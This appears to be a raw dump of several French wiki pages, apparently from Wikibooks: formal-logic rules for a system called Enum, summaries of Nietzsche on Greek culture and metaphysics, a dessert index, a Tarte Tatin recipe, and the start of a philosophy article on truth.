obtenu par une suite correcte de substitutions de la liste Cyw dans u Ces règles prescrivent l’ordre des substitutions des éléments d’une liste aux variables d’un X-terme ou d’un prédicat. Par exemple a(sso)a(so)o est obtenu par une suite correcte de substitutions de la liste CoCso(sso) dans aXaX’X’’. Pour ne pas compliquer le formalisme, on n’a pas donné assez de règles pour produire toutes les vérités lorsque les premières variables libres dans un prédicat sont quantifiées. Cela oblige alors à quantifier uniquement sur les dernières variables libres d’un prédicat pour que les suites correctes de substitutions soient produites. ===Les occurences des Z-variables=== “a au moins une occurence dans” est un prédicat binaire fondamental. OcZvar1 Si x est une Z-variable alors x a au moins une occurence dans x OcZvar2 Si t et z sont des Z-termes et x a au moins une occurence dans t alors x a au moins une occurence dans Ctz et dans Czt OcZvar3 Si t est un Z-terme et x a au moins une occurence dans t et f est une fonction alors x a au moins une occurence dans Image par f de t OcZvar4 Si x a au moins une occurence dans t et y est un Z-terme alors x a au moins une occurence dans (t Dans y), dans (y Dans t), dans (y Egale t) et dans (t Egale y) OcZvar5 Si p et q sont des prédicats et x a au moins une occurence dans p alors x a au moins une occurence dans (p Et q) et x a au moins une occurence dans (p Ou q) OcZvar6 Si p est un prédicat et x a au moins une occurence dans p et x ≠ z alors x a au moins une occurence dans (il existe un z tel que p) ===L’inclusion des variables dans les Z-termes=== “a toutes ses variables dans” est un prédicat binaire fondamental. IncVarTerm1 Si x est un Z-terme alors x a toutes ses variables dans x IncVarTerm2 Si x est une constante et y est un Z-terme alors x a toutes ses variables dans y IncVarTerm3 Si x a toutes ses variables dans y et z est un Z-terme alors x a toutes ses variables dans Cyz et dans Czy IncVarTerm4 Si x et y ont toutes leurs variables dans z alors Cxy a toutes ses variables dans z IncVarTerm5 Si x a toutes ses variables dans y et u a toutes ses variables dans v alors Cxu a toutes ses variables dans Cyv et dans Cvy IncVarTerm6 Si x a toutes ses variables dans y et y est un Z-terme et f est une fonction alors x a toutes ses variables dans Image par f de y et Image par f de x a toutes ses variables dans y ===L’inclusion des variables dans les prédicats=== IncVarPred1 Si x , y et z sont des Z-termes et x a toutes ses variables dans Cyz alors x a toutes ses variables dans (y Dans z) IncVarPred2 Si z est un prédicat et x et y sont des Z-termes et ont toutes leurs variables dans z alors (x Dans y) et (x Egale y) ont toutes leurs variables dans z IncVarPred3 Si p, q et r sont des prédicats et p a toutes ses variables dans q alors p a toutes ses variables dans (q Et r), dans (r Et q), dans (q Ou r) et dans (r Ou q) IncVarPred4 Si p, q et r sont des prédicats et p et q ont toutes leurs variables dans r alors (p Et q) et (p Ou q) ont toutes leurs variables dans r IncVarPred5 Si p et q sont des prédicats et z est une Z-variable et p a toutes ses variables dans Cqz alors (il existe un z tel que p) a toutes ses variables dans q IncVarPred6 Si p et q sont des prédicats et z est une Z-variable et Cpz a toutes ses variables dans q alors p a toutes ses variables dans (il existe un z tel que q) ==Conclusion : la définition du système Enum de toutes les vérités atomiques d’appartenance à tous les ensembles énumérables== ===Les 3 objets de base de Enum=== o * X * Z ===Les 14 opérateurs fondamentaux de Enum=== s * a * b * C * ‘ (prime) * Image par...de * Fonction * Ensemble induit par...à partir de * Extension de * Dans * Egale * Et * Ou * il existe un...tel que ===Les 25 prédicats fondamentaux de Enum=== est une expression formelle * est un ensemble * est dans * = * est simple * est une fonction numérique * est une fonction * est une constante * est une X-variable * est un X-terme * est une Z-variable * est un Z-terme * est un prédicat * est un prédicat finitaire * est vrai * est une assertion * est une fonction ensembliste * est avant * ≠ * est obtenu par la substitution de...à toutes les occurences de...dans * est premier dans * est une substitution correcte de...dans * est une suite correcte de substitutions de la liste...dans * a au moins une occurence dans * a toutes ses variables dans ===Les 3 formules initiales de Enum=== o est une expression formelle * X est une X-variable * Z est une Z-variable ===Les 122 règles de production de Enum=== Ce sont toutes celles qui ont été exposées, sauf les règles dérivées. Nietzsche - La culture grecque 2693 45272 2006-06-20T18:47:13Z 84.103.109.67 /* Les Grecs et la politique */ {{Nietzsche||[[Nietzsche - Le problème de Socrate|Le problème de Socrate]]}} Les principaux écrits de Nietzsche relatifs à la culture grecque sont : *''La Naissance de la Tragédie'' *''La philosophie à l'époque tragique des Grecs'' *''L'État chez les Grecs'' *''La joute chez Homère'' *''Le drame musical grec'' *''Socrate et la tragédie'' *''La vision dionysiaque du monde'' *''Crépuscule des idoles'' : « Ce que je dois aux anciens » À ces écrits, s'ajoutent de nombreux aphorismes et fragments. == L'importance de la culture grecque == == La philosophie grecque == L'exposé le plus long sur la philosophie grecque est ''La philosophie à l'époque tragique des Grecs.'' Nietzsche y étudie les philosophes Présocratiques, et cherche à en découvrir la personnalité à travers les quelques témoignages qu'il nous reste sur eux. Cette étude permet de mieux comprendre ce qu'est pour Nietzsche un philosophe, et la place qu'il occupe dans une civilisation. == Les Grecs et la politique == ''L'État chez les Grecs'' (1872) est une interprétation de la cité idéale de Platon. Certaines des thèses que Nietzsche y exprime sont des thèses qu'il soutiendra toute sa vie et qu'il ne cessera de développer. Elles peuvent être formulées ainsi : *Le travail est un avilissement ; *L'esclavage appartient à l'essence de la civilisation ; *La dignité du travail et la dignité de l'homme sont des mensonges inventés par des esclaves ; *La guerre est nécessaire à l'État ; *L'État est un instrument, non une fin. ! == L'art grec == La thèse fondamentale de Nietzsche à propos, non seulement de l'art grec, mais également de tout art en générale, est que l'art est le seul facteur justifiant la vie et qu'il oppose et associe les figures dionysiaque et apollinienne. Ces deux figures artistiques naissent de l'ivresse. La première est l'ivresse de la décharge d'énergie, la seconde est une ivresse purement visuelle. Par la suite, Nietzsche y ajoutera une troisième forme : la force de la volonté qui se manifeste dans l'architecture. Cette force est une forme classique de l'art, forme qui se pose par elle-même en ne cherchant jamais à plaire. C'est dans ''la Naissance de la tragédie'' que Nietzsche expose pour la première fois la dualité d'Apollon et de Dyonisos. === La tragédie === La tragédie naît selon Nietzsche de l'orgiasme dionysiaque : ''extériorisations incompréhensibles des pulsions populaires''. Les hommes sont en extase, i.e. hors d'eux-mêmes, ils se sentent ensorcelés par le dieu. Ces manifestations de folie populaire n'ont pas seulement existé dans l'Antiquité, on les retrouve chez les danseurs de St. Guy. L'art est, selon Nietzsche, un pont entre deux impulsions symbolisées par des dieux : Apollon et Dionysos. La tragédie attique est l'accouplement de ses deux impulsions qui se combattent sans cesse. Ces deux dieux s'expriment primitivement comme des forces de la nature qui se passent du travail de l'artiste. Elles jaillissent au sein du rêve et du délire. L'opposition de ces forces ne doit pas être exagérée : elles produisent des effets bien différents, mais possèdent quelques points communs. Dans les dernières œuvres de Nietzsche, ces forces semblent même être absorbées dans le seul élément dionysiaque, au point que certains commentateurs ont pu soutenir que le dionysiaque était l'élément originel dont l'apollinien est seulement dérivé. Apollon est le dieu brillant, prophète, qui représente les arts plastiques, le rêve, la belle apparence, le plaisir des formes. Cette beauté de l'apparence n'exclut pas la représentation de sentiments déplaisants. Mais le caractère esthétique qui s'en dégage embellit la vie, et encourage les hommes à vivre. C'est là pour Nietzsche son aspect nécessaire : sans Apollon, la vie ne serait pas digne d'être vécue. L'esthétique d'Apollon est la mesure, le calme de la sagesse, la grâce. Au milieu des tempêtes de l'existence, l'aspect solaire et paisible d'Apollon est ''sublime''. Dionysos est l'ivresse, ivresse des narcotiques, du printemps qui abolit la subjectivité des ''fous de Dionysos''. Dionysos est la volupté de la nature spontanément surabondante. C'est une maladie populaire qui se retrouve dans plusieurs civilisations. Le principe dionysiaque dissous l'individualité et permet à l'homme de renouer avec la nature et l'humanité : c'est le ''mystère de l'Un originaire'' qui ensorcelle tous les êtres et les font danser tous ensemble. L'homme devient l'œuvre d'art d'un dieu. === Décadence de la tragédie === La tragédie est morte tragiquement ; ''son agonie a nom Euripide'' (''Socrate et la tragédie''). Selon Nietzsche Euripide a en commun avec les poètes de la nouvelle comédie, de faire entrer le spectateur de la vie quotidienne sur la scène. Alors que les anciennes tragédies représentaient les héros dont l'idéalisation élève l'âme du spectateur, la tragédie d'Euripide représente le commun, le bas, elle est un miroir rhétorique de la vie des spectateurs qui s'y contemple. Ainsi Euripide a-t-il popularisé la tragédie, en faisant parler le peuple : :« J'ai introduit sur la scène des choses domestiques, qui sont usuelles et familières » (Aristophane, ''Les Grenouilles'', v.959 - 961). Il croyait ainsi lutter contre la décadence de la tragédie, tragédie qui, selon Nietzsche, était en réalité déjà morte. Fort de cette croyance, il crût que l'effet de l'art n'était pas adapté au public athénien. Il conçut alors une forme d'art, dont la loi, selon Nietzsche, peut être exprimée ainsi comme la loi d'une esthétique rationaliste : ''Tout doit être de l'ordre de l'entendement pour que tout puisse être entendu.'' Euripide envisage ainsi de manière critique toutes les parties de l'art : le mythe, la structure dramatique, la musique, la langue, etc. Par exemple, Euripide dévoile toute l'intrigue dans le prologue de ses pièces, contrairement à Eschyle et Sophocle, qui, dans les premières scènes, font subtilement comprendre aux spectateurs ce qui doit se produire. Ainsi Euripe est-il le premier dramaturge à concevoir une esthétique consciente : « Tout doit être conscient pour être beau », principe qui le fait proche de Socrate. ''Socrate fut, dans la tragédie, et dans le drame musical en général, l'élément de sa dissolution.'' Socrate est selon Nietzsche un personnage anti-tragique. La décadence de la tragédie s'exprime dans les pièces d'Euripide, ami de Socrate, dont on rapporte qu'il aida le dramaturge pour la composition de ses œuvres. Nietzsche discerne plusieurs traits de l'évolution de la tragédie qui en montrent la décadence : *l'érudition, le savoir conscient : l'art perd son impulsion dionysiaque. L'équilibre de la lutte tragique est rompu ; *le spectacle devient un jeu d'échecs, une intrigue bourgeoise, i.e. que le raisonnement et l'examen y sont introduits : :« De tels sentiments, c'est pourtant moi qui les inculquai à ceux-ci, en introduisant dans l'art le raisonnement et l'examen ; si bien que désormais on sait concevoir toutes choses, distinguer, et notamment tenir sa maison, ses champs et son bétail mieux qu'auparavant en y regardant bien : "Comment va cette affaire ? Pourquoi ? A quoi bon ? Qui ? Où ? Comment ? Quoi ? Qui m'a pris cela?" » (Aristophane, ''Les Grenouilles'', v. 971 - 979) *la rhétorique l'emporte sur le dialogue : les personnages deviennent bavards et artificiels ; *la dialectique envahit les héros de la scène *l'esprit de la musique est perdu ; *Euripide introduit le spectateur dans la tragédie : ce spectateur, c'est Socrate. == L'interprétation nietzschéenne de la mythologie grecque == == Notes == LSF:Pays 2694 14270 2005-02-25T17:39:03Z Kowey 113 LSF:Pays déplacé vers LSF/Pays #REDIRECT [[LSF/Pays]] Nietzsche - La métaphysique 2697 14272 2005-06-05T20:20:17Z Marc 66 /* Critique de la possibilité de la métaphysique */ {{Nietzsche}} Bien que l'on présente souvent la critique nietzschéenne de la métaphysique comme une psychologie des profondeurs censée dévoiler la véritable origine de concepts tels que ''vérité'', ''être'', etc., on ne peut négliger cet aspect de la critique qui en montre les contradictions internes. == Critique de la possibilité de la métaphysique == Nietzsche, dans le premier chapitre du premier tome de ''[[Humain, trop humain]]'', rend en effet compte de l'impossibilité de la métaphysique, impossibilité dont on prend conscience pourvu que l'on veuille bien raisonner de manière rigoureuse, c'est-à-dire de manière ''scepticisme|sceptique'' : :« Prenons un peu au sérieux le point de départ du scepticisme : à supposer qu'il n'existe pas de monde autre, métaphysique, et que, du seul monde connu de nous, toutes les explications empruntées à la métaphysique soient inutilisables pour nous, de quel œil verrions-nous les hommes et les choses ? » (''Humain, trop humain'', §21) On voit donc ici l'emploi par Nietzsche de la méthode sceptique, méthode qui est celle d'Ænésidème, de Hume et de Kant. Bien que ce dernier soit violemment critiqué par Nietzsche, il n'en reste pas moins que la critique kantienne de la métaphysique est vu par Nietzsche comme un problème de premier ordre. En ce qui concerne les sceptiques, Nietzsche dira, à la fin de sa vie consciente (cf. ''Antéchrist'') : :« Je mets à part quelques sceptiques - le seul type convenable dans toute l'histoire de la philosophie - : mais les autres ignorent les exigences élémentaires de la probité intellectuelle. » (Ant. §12) Le propos essentiel de cette critique est de montrer que nous n'avons aucune connaissance de quoi que ce soit en dehors de ce que nous percevons, que ce nous percevons n'est rien d'autre que devenir, et que cette perception est une perspective. Il résulte de cette thèse qu'il ne peut y avoir de vérité absolue pour nous : :« [...] ; il n'y a ''pas'' plus ''de données éternelles'' qu'il n'y a de vérités absolues. » (HTH, §2) Cependant, dans ''Humain, trop humain'', Nietzsche n'exclut pas qu'un monde métaphysique puisse exister ; conformément à la méthode sceptique (que ce soit chez les sceptiques anciens ou chez Kant), il admet également qu'un tel monde pourrait être prouvé : :« Il est vrai qu'il pourrait y avoir un monde métaphysique ; la possibilité absolue n'en est guère contestable. » (''Humain, trop humain'', §0) Néanmoins, il corrigera plus tard cette dernière affirmation, en s'écartant cette fois de la pensée sceptique : :« - il est absolument impossible de prouver aucune ''autre'' sorte de réalité. » (''La « raison » dans la philosophie'', ''[[Crépuscule des idoles]]'', § 6) Cette affirmation, que l'on peut qualifier de dogmatique, entraîne une complète indifférence à l'égard d'un monde autre que celui dans lequel nous vivons. Le caractère dogmatique de cette affirmation est d'ailleurs bien visible dans le fait que, selon Nietzsche, cette indifférence est elle-même une réfutation. Ce point est exprimé déjà dans ''Humain, trop humain'', mais avec plus de force encore et de manière répétée dans le ''Crépuscule des idoles'': :« Le « monde vrai », une idée qui ne sert plus à rien, qui n'engage même plus à rien - une idée inutile, superflue, ''par conséquent'' une idée réfutée : abolissons-là. » (''Comment, pour finir, le « monde vrai » devint fable'', § 5) L'ensemble de ces thèses n'a rien d'original, mais il importe de considérer essentiellement les conclusions que Nietzsche pensent pouvoir en déduire pour la méthode d'évaluation de ce que appelons connaissance. En effet, Nietzsche va passer à un autre plan, en affirmant non seulement que, puisqu'il en est ainsi, comme nous l'avons vu, l'existence ou la non-existence de ce monde nous est parfaitement indifférente (ce que les sceptiques avaient déjà reconnus), mais qu'il faut encore expliquer pourquoi, malgré cette démonstration rigoureuse connue depuis des millénaires, un autre monde a pu être pensé comme autre chose qu'une simple hypothèse hasardeuse. Pour Nietzsche, il n'y a donc pas de vérité absolue ; or, dès lors qu'aucune vérité absolue n'est possible, on rejette du même coup le monolithisme de la métaphysique (cf. ''Crépuscule des idoles''). Mais cette négation de la vérité ne signifie pas que Nietzsche n'admet aucun sens à ce concept ; au contraire, le rejet de l'absolu fait apparaître un grand nombre de significations qui se prête à l'analyse et révèle les différentes volontés qui s'investissent dans ce concept. Deux textes des années 1870, ''La passion de la vérité'' et ''Vérité et mensonge au sens extra-moral'', montrent à quel point ces volontés sont diverses et le concept riche de sens. == L'utilité sociale de la vérité == Selon Nietzsche, la vérité a un caractère social et pragmatique, caractère qui se comprend à plusieurs niveaux : *au niveau individuel, le mensonge est plus difficile que la véracité : il est plus utile de dire la vérité et de se conformer à l'hypocrisie générale ; :« Les hommes fuient moins le mensonge que le préjudice causé par le mensonge. » (''Vérité et mensonge au sens extra-moral'') :Mais ce sont certaines vérités qui son retenues ; au bénéfice de la communauté. *il est donc plus avantageux de suivre les ''vérités'' reçues dans certains milieux, par exemple : :« Chez les philosophes aussi, autre espèce de saints, la logique de leur profession veut qu'ils ne laissent affleurer que certaines vérités : à savoir celles pour lesquelles leur profession a la ''sanction'' de la société. En termes kantiens, ce sont des vérités de la raison ''pratique.'' » (''Crépuscule des idoles'', ''Divagations d'un « inactuel »'', § 42) *''est vrai ce qui n'a pas fait périr l'humanité''. La règle générale est qu'une institution génère un champ de croyances qui lui sont spécifiques (cf. ''Crépuscule des idoles''). Plus l'autorité est forte, et moins elle tolère les démonstrations. Les moeurs, les lois, la police, assurent ainsi la perénité d'une évaluation de la réalité. Toute connaissance qui sort de ce cadre est fausse, dangereuse, mauvaise. == La métaphysique == Ce conformisme grégaire n'explique pas dans l'immédiat l'idéalisme métaphysique. Le problème de la métaphysique demande tout d'abord à être analysé en plusieurs éléments. === Être et devenir === Nietzsche part d'une conception de la métaphysique dans laquelle les opposés ont une valeur fondamentale : *être/devenir *temps/éternité *vrai/faux *un/multiple *etc. Ces opposés ont un statut ontologie|ontologique radicalement différent, i.e. qu'ils ne peuvent en fin de compte être expliqués les uns par les autres : le bien ne naît pas du mal, le mal ne naît pas du bien est une telle opposition métaphysique. Selon Nietzsche, l'opposition métaphysique fondamentale est que '''ce qui est ne devient pas, ce qui devient n’est pas'''. (''Crépuscule des idoles'') Or, si la vérité est quelque chose, la détermination de ce concept ne peut se faire d'après le devenir dont la réalité est trop fuyante pour être pensée (cf. w:Platon|Platon). Ce qui est vrai, c’est donc l’être, l’idée, l’intelligible. Tout ce qui est du domaine du devenir (naissance, douleur, plaisir, mort,) doit être rejeté comme étant du domaine du faux ou de l'illusion. Ainsi, à la question : pourquoi ce qui est de l’ordre du devenir doit-il être rejeté ? Il faut répondre que le devenir nous trompe. Mais ce devenir est un objet de perception pour nos sens, et ces sens ne nous montrent que ce devenir. Les sens sont donc les instruments de l'illusion, instruments d'autant plus trompeurs que nous adhérons à leurs témoignages. Mais, si nous n'avons rigoureusement aucun accès à un monde métaphysique, il nous faut expliquer pourquoi on en vient à penser que les sens nous trompent. Sans l'existence de l'être, le monde du devenir devrait avoir toute notre confiance. Or, la l'histoire de la métaphysique et des religions montrent le contraire. Les hommes croient toujours à des entités dont personne n'a jamais eu l'expérience. Les croyances religieuses et les certitudes métaphysiques doivent donc faire l'objet d'un examen particulier. === La volonté de dénigrement === Pour Nietzsche, la croyance en un monde métaphysique est le symptôme d'une volonté de déprécier celui-ci : :« Dans ce cas, nous nous ''vengeons'' de la vie en lui opposant la fantasmagorie d'une vie « autre » et « meilleure ». (CId., ''La « raison » dans la philosophie'') Les philosophes se vengent donc de la vie en ''momifiant'' tout ce qui à leurs yeux a de la valeur : *leurs notions sont éternelles, sans aucun devenir, donc sans génération, sans croissance, sans corruption, donc sans vie, sans pathos. *cela suppose la suppression du corps et des passions : les philosophes, quand ils produisent des abstractions, vident les concepts de leurs entrailles. Tout ce qui est périssable est frappé de nullité. L’expérience nous montre pourtant le contraire, mais ce n’est pas tout : cela suppose un regard particulier, une perspective sous le rapport de l’éternité. *volonté de dénigrement, nihilisme : le monde vrai = néant. De quelques manières que l’on envisage le problème, ces prémisses étant données, que l’on soit en Inde, en Grèce, etc. la conclusion est que ce monde, le monde des sens, est inconsistant, faux, un néant d’être. *c'est parce que les sens sont tenus pour immoraux, qu'ils doivent être condamnés du point de vue de la connaissance. La haine des sens conduit à imaginer un autre monde. === Les critères idéalistes de la connaissance === Le sentiment, le plaisir que cause une croyance serait la preuve de sa vérité. En réalité : tout ce qui est prouvé, c'est la force du sentiment. Mais une vérité peut être ennuyeuse. === Critique de la raison === L'idée que nous puissions faire une histoire de la connaissance conduit Nietzsche a considérer les catégories de nos facultés cognitives comme les résultats d'habitudes grammaticales devenues instinctives. Mais le langage a une origine lointaine et véhicule des préjugés ''rudimentaires'' : :« Le langage, de par son origine, remonte au temps de la forme la plus rudimentaire de psychologie : prendre conscience des conditions premières d'une métaphysique du langage, ou, plus clairement, de la ''raison'', c'est pénétrer dans une mentalité grossièrement fétichiste. » (''Crépuscule des idoles'', ''La « raison » dans la philosophie'', § 5) Cette métaphysique du langage exprime essentiellement la croyance en la causalité de la volonté, croyance dont découle des principes de la raison : *l'identité *Le moi, la substance *L'idée de cause, la causalité *La finalité Cette métaphysique du langage entraîne à l'erreur de l'Être : :« Je crains que nous ne puissions nous débarrasser de Dieu, parce que nous croyons encore à la grammaire... » (Ibid.) === Théorie du langage === La théorie du langage développée par Nietzsche évoque la philosophie d'Épicure : le langage est une convention ''naturelle'' qui découle des affects. Le langage est un système de signes qui ''transpose'' dans un autre domaine les impulsions nerveuses. C'est en ce sens que le langage est métaphore|méta-phorique. Mais l'usage qui est fait du langage occulte ce rapport métaphorique au monde, et les images qu’il véhicule s'objectivent en concept. Nietzsche suggère alors, comme Epicure, que l'on doit pouvoir retrouver l'expérience originelle du langage. Cependant, contrairement à Epicure, ce qui est retrouvé n'est pas un rapport de connaissance, mais un rapport esthétique ; c'est pourquoi, le chant est particulièrement propre à nous le faire revivre : : « Dans le chant l’homme naturel réadapte ses symboles à la plénitude du son, tout en ne maintenant que le symbole des phénomènes : la volonté ; l’essence est à nouveau présentée de façon plus pleine et plus sensible. » (FP, I, 1, 3 [16]). == L'erreur originelle == Le point de départ de toutes les erreurs de la métaphysique est une croyance : :« A l'origine de tout, l'erreur fatale a été de croire que la volonté est quelque chose qui ''agit'' - que la volonté est une ''faculté''... » (CI, Ibid.) Cette erreur n'est donc pas induit par le langage, comme les autres erreurs mais a un caractère originelle qu'il faut expliquer. Cette erreur est l'erreur du libre arbitre, analysée par Nietzsche dans le chapitre du ''Crépuscule des idoles'' intitulé ''Les quatre grandes erreurs''. Elle fait référence a la thèse de Nietzsche selon laquelle la liberté a été inventée pour rendre les hommes responsabilité|responsables de leurs actes. Si nous suivons le raisonnement de Nietzsche, l'ensemble des erreurs de la métaphysique a une origine théologie|théologique et morale : l'homme est la cause de ses actes ; son moi est sa substance, son être, d'après lequel il va interpréter le monde des phénomènes en y projetant cette causalité psychologie qui sépare ce qui agit (un sujet, un substrat de ce qui devient) de ses effets. Cette croyance entraîne l'invention de l'unité, de l'identité, de la causalité, etc. toutes ces catégories qui prendront une forme systématique dans la métaphysique. Cuisine:Desserts 2698 29630 2006-01-21T01:11:33Z 82.67.90.142 /* Autres */ +brioche __NOTOC__ == Gâteaux == {| {{prettytable}} ! Recette !! Photo !! Temps de préparation/cuisson !! Difficulté |- |[[Cuisine:Brownies|Brownies]] || [[Image:Brownies.jpg|100px]] || Préparation : 15 min, cuisson 15 à 20 min || [[Image:1v5.gif]] |- |[[Cuisine:Charlotte|Charlotte]] || [[Image:Charlottefin-1-.jpg|100px]] || Préparation 20 min || [[Image:2v5.gif]] |- |[[Cuisine:Clafoutis|Clafoutis]]|| || Préparation : 20 min, cuisson : 40 min || [[Image:1v5.gif]] |- |[[Cuisine:Fraisier|Fraisier]]|| || || [[Image:4v5.gif]] |- |[[Cuisine:Gâteau au chocolat|Fondant au chocolat]]|| || || [[Image:1v5.gif]] |- |[[Cuisine:Gâteau_aux_noix_et_au_miel|Gâteau aux noix et au miel]]|| || Cuisson : 40 min || [[Image:2v5.gif]] |- |[[Cuisine:Gâteau roulé|Gâteau roulé]]|| [[Image:Gâteau roulé2.JPG|100px]] || Préparation : 1 heure, cuisson : 10 min || [[Image:4v5.gif]] |- |[[Cuisine:Mont-Blanc|Mont-Blanc]]|| || Cuisson : 40 min || [[Image:2v5.gif]] |- |[[Cuisine:Quatre-quarts|Quatre-quarts]]||[[Image:Quatre-quarts.jpg|100px]]|| Cuisson : 1 h || [[Image:2v5.gif]] |- |[[Cuisine:Quatre-quarts aux pommes|Quatre-quarts aux pommes]]||[[Image:Quatre-quarts aux pommes.jpg|100px]]|| Cuisson : 1 h || [[Image:3v5.gif]] |- |[[Cuisine:Pastis_landais|Pastis landais]] ||[[Image:Pastis landais.jpg|100px]] || || |} == Tartes == {| {{prettytable}} ! Recette !! Photo !! Temps de préparation/cuisson !! Difficulté |- |[[Cuisine:Tarte aux pommes|Tarte aux pommes]] |[[Image:Tarte aux pommes.JPG|100px]] |- |[[Cuisine:Tarte aux abricots|Tarte aux abricots]] |- |[[Cuisine:Tarte au citron|Tarte au citron]] |- |[[Cuisine:Tarte Tatin|Tarte Tatin]] |- |[[Cuisine:Tarte au sucre|Tarte au sucre]] |- |[[Cuisine:Tarte au chocolat|Tarte au chocolat]] |} == Glaces == {| {{prettytable}} ! Recette !! Photo !! Temps de préparation/cuisson !! Difficulté |- |[[Cuisine:Glace à la vanille|Glace à la vanille]] |- |[[Cuisine:Glace à la chicorée|Glace à la chicorée]] |- |[[Cuisine:Glace aux speculoos|Glace aux speculoos]] |} == Autres == {| {{prettytable}} ! Recette !! Photo !! Temps de préparation/cuisson !! Difficulté |- |[[Cuisine:Brioche|Brioche]] |- |[[Cuisine:Crème_glacée|Crème glacée]] |- |[[Cuisine:Salade de fruits|Salade de fruits]] |- |[[Cuisine:Pain perdu|Pain perdu]] |- |[[Cuisine:Crumble|Crumble]] |- |[[Cuisine:Mousse au chocolat|Mousse au chocolat]] |- |[[Cuisine:Crumble_au_citron|Crumble au citron]] |- |[[Cuisine:Fromage_blanc_aux_fruits|Fromage blanc aux fruits]] |- |[[Cuisine:Crèmes|Crèmes]] (accompagnement) |} {{Cuisine}} [[en:Cookbook:Dessert]] Cuisine:Tarte Tatin 2699 14274 2005-04-21T17:14:33Z Guillaumito 46 {{Cuisine:Desserts}} [[Image:Tarte tatin.jpg|thumb|''Tarte Tatin'']] ==Ingrédients== *1 pâte brisée *6 belles pommes *60g de beurre *50g de sucre en poudre *100g de sucre en morceaux *citron *cannelle ==Ustensiles spécifiques== *1 moule à manqué ==Préparation== *Mettre le sucre en morceau et le beurre dans le moule à manqué. Poser celui-ci sur le feu pour faire fondre le sucre en caramel. Lorsque le caramel commence à brunir, enlever le moule du feu et poser le sur l'eau pour arrêter la cuisson. *Peler les pommes, les épépiner et les couper en 6. Les disposer au fond du moule de telle sorte qu'elles se chevauchent tout en laissant un espace entre les pommes et le bord du moule. *Saupoudrer de sucre en poudre, de cannelle et arroser de jus de citron. Parsemer de petits morceaux de beurre. *Faire cuirre un peu sur le feu. Il faut que le jus des pommes et le caramel se mélange. C'est le truc qui permet d'obtenir un goût très particulier. *Etaler la pâte. La piquer avec une fourchette pour éviter qu'elle ne gonfle pendant la cuisson. *Poser la pâte sur les pommes et faire un ourlet sur les bords. Aménager une petite cheminée au centre de la pâte pour évacuer l'air chaud pendant la cuisson. *Enfourner pendant 30 minutes à 210°C. *Attendre 5 à 10 minutes avant de démouler la tarte. Se déguste tiède avec de la crème fouettée ou une boule de glace à la vanille. Mais les Lichonneux de la tarte Tatin [http://www.tarte-tatin.com/], recommande de la déguster sans glace, ni crème fouettée {{Cuisine:Desserts}} Philosophie/Vérité 2700 46074 2006-06-27T18:53:10Z Guillaumito 46 [[Vérité]] déplacé vers [[Philosophie/Vérité]]: Convention de nommage {{SommairePhilo}} La '''vérité''' qualifie ce qui est vrai. ==Définitions== Pour répondre à la question ''qu'est-ce que la vérité ?'' distinguons : :'''A'''. ce que nous disons vrai ou faux : à quoi donnons nous la qualité d'être vrai ? quelle est la nature des réalités auxquelles nous donnons notre assentiment en les disant vraies ? ::*des propositions ; ::*des croyances ; ::*des pensées et des opinions ; ::*mais sans doute pas des objets des sens, car c'est notre raison qui juge et qui se trompe. :La vérité semble donc s'exprimer dans le langage et ne pas pouvoir exister en dehors ; ainsi, dire quelque chose de vrai, ce serait faire apparaitre littéralement la vérité. :'''B'''. les moyens de distinguer le vrai du faux et de qualifier de vrai quelque chose : la raison, l'entendement, les lois de la logique, etc. Dès lors on peut proposer les distinctions suivantes : ====Types de vérité==== *'''1'''. La vérité ''matérielle'', qui est l'adéquation entre ce qui est et le jugement que l'on énonce dans une proposition : cette adéquation est validée par l'expérience. Mais la nature de ce type de vérité est variable, car elle peut être qualifiée de vérité ''objective'', de vérité ''relative'', de vérité ''subjective'', etc., suivant la théorie de la connaissance que l'on soutient (réalisme, relativisme, criticisme, etc). *'''2'''. La vérité ''formelle'', qui est la validité des conclusions d'un système hypothético-déductif, procédant suivant des règles de déduction à partir de postulats et d'axiomes admis. Cette vérité est indépendante du contenu des propositions (voyez l'article logique) et dépend de son accord avec les lois de l'entendement. Dans ce cas, la vérité est une vérité de correspondance, et elle est a priori car elle ne dépend pas de l'expérience. Ce dernier point permet d'introduire une distinction : les vérités purement formelle et a priori sont appelées des ''vérités analytiques''. Ces vérités sont nécessaires et ne nous apprennent rien sur le monde. Les vérités tirées de l'expérience sont quant à elle des ''vérités synthétiques'', car nous lions des termes qui supposent pour des êtres dont l'existence est contingente. *'''3'''. La vérité ''métaphysique'' qui, remontant d'une hypothèse à ses conditions, suppose l'existence d'un référant ontologique existant en soi. Dans ce cas, on distingue vérité absolue et vérité relative. *'''4'''. La vérité ''d'une croyance'' ou d'une ''opinion'', qui est la vérité d'une proposition qui s'accorde à un ensemble de croyances qui lui préexistent. Ce genre de vérité est souvent appelée ''vérité cohérence''.. ==Théories de la vérité== ===Théorie pragmatiste=== Les théories pragmatistes de la vérité sont elles-mêmes plurielles et complexes. Chez Habermas, par exemple la ''vérité'' se confond avec la notion de ''validité intersubjective''. ===Théorie déflationniste=== La théorie déflationniste de la vérité consiste à dire qu'il n'y a aucune différence entre dire que p est vrai et dire que p. La vérité, de ce point de vue, n'apporte rien à ce que nous affirmons. En effet, si je dis : le ciel est bleu, cela semble impliquer : c'est le cas que le ciel est bleu. ===Théorie sur l'origine du vrai et du faux=== ''La première signification de Vrai et de Faux semble avoir son origine dans les récits ; et l’on a dit vrai un récit, quand le fait raconté était réellement arrivé ; faux, quand le fait raconté n’était arrivé nulle part. Plus tard, les philosophes ont employé le mot pour désigner l’accord d’une idée avec son objet ; ainsi, l’on appelle idée vraie celle qui montre une chose comme elle est en elle-même ; fausse, celle qui montre une chose autrement qu’elle n’est en réalité. Les idées ne sont pas autre chose en effet que des récits ou des histoires de la nature dans l’esprit. Et de là on en est venu à désigner de la même façon, par métaphore, des choses inertes ; ainsi, quand nous disons de l’or vrai ou de l’or faux, comme si l’or qui nous est présenté racontait quelque chose sur lui-même, ce qui est ou n’est pas en lui.'' Baruch Spinoza|Spinoza, Pensées métaphysiques (1663), 1er partie, chap. VI, Gallimard, « La Pléiade », trad. R. Caillois. ==Histoire== La vérité au sens 1. a été définie par Aristote dans ''De l'Interprétation'', œuvre où il analyse la formation des propositions logiques, c'est-à-dire les parties du discours susceptibles d'être vraies ou fausses. Une proposition est vraie quand on dit que ce qui est est ou que ce qui n'est pas n'est pas ; elle est fausse quand on dit que ce qui est n'est pas ou que ce qui n'est pas est. Cette vérité est appelée aussi la ''vérité correspondance''. Ce type de vérité concerne la recherche scientifique. Cette conception est fortement réaliste, car nous disons par exemple que le chat est sur le tapis est vrai '''parce qu'il est''' sur le tapis, et non l'inverse. Le problème est alors 